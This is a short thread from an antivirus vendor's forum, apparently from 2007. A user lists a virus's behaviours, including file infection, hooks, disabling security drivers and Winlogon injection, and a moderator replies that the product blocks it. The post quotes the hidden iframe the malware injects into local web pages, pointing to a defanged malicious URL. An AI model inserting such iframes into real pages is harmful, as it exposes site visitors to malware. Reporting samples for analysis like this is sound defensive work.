» 游客:  注册 | 登录 | 帮助  微点交流论坛 » 预升级反馈专区 » 强毒报的应该不少了谁能分析下?我是跟不全   作者: 标题: 强毒报的应该不少了谁能分析下?我是跟不全 zhaojpn 注册用户 积分 89 发帖 85 注册 2007-8-18 #1  强毒报的应该不少了谁能分析下?我是跟不全 1、IRCbot 2、感染文件（判断系统文件感染（跳过），系统盘一样遭殃，捆绑，感染标记PADDINGXXPADDING……） 3、Hook（不记得哪几个了），好像是进程启动和读取等几个函数 4、破坏HIPS驱动（EQ、SSM均失效），原理不懂，还是恢复了SSDT挂钩？ 5、往Winlogon写入代码，并直接获取系统内存。 6、添加到系统防火墙的忽略列表（穿墙）。 7、查找硬盘网页，插入JS代码： <iframe src="hXXp://ntkrnlpa.info/rc/?i=1" width=1 height=1 style="border:0"></iframe> </BODY> </HTML> 还漏了不少,谁拿去分析!! PS:密码virus 已上报至微点邮箱 ※ ※ ※ 本文纯属【zhaojpn】个人意见，与【 微点交流论坛 】立场无关※ ※ ※ 2007-10-14 15:55 Legend 超级版主 超级版主 积分 77171 发帖 70170 注册 2005-10-29 #2   谢谢楼主的反馈，我们会尽快分析处理。 ※文章所有权归【Legend】与【东方微点论坛】共同所有，转载请注明出处！※ 微点官方认证新浪微博：欢迎进入 微点新浪微博 微点技术支持邮箱: support@micropoint.com.cn 给Legend发短消息 2007-10-14 16:03 Legend 超级版主 超级版主 积分 77171 发帖 70170 注册 2005-10-29 #3   谢谢楼主的反馈。经微点专业人员测试，该病毒运行后微点可以正常报警并拦截。 请楼主将微点升级至最新版本测试。 本主题暂作关闭处理，如有问题，请另开新帖讨论。 ※文章所有权归【Legend】与【东方微点论坛】共同所有，转载请注明出处！※ 微点官方认证新浪微博：欢迎进入 微点新浪微博 微点技术支持邮箱: support@micropoint.com.cn 给Legend发短消息 2007-10-18 17:11 论坛跳转: 微点软件公测区 安全快报  > 病毒快报  > 漏洞快报 微点产品在线技术支持  > 微点主动防御软件  > 预升级反馈专区  > 微点杀毒软件 微点用户交流区  > 微点新闻  > 微点软件使用交流  > 微点茶室 安全技术交流区  > 主动防御  > 反病毒  > 防火墙 综合区  > 电脑&数码  > 体育&娱乐&休闲  > 灌水区 版务管理 内部使用专区  可打印版本 | 推荐 | 订阅 | 收藏 [ 联系我们 - 东方微点 ] 北京东方微点信息技术有限责任公司 福建东方微点信息安全有限责任公司 闽ICP备05030815号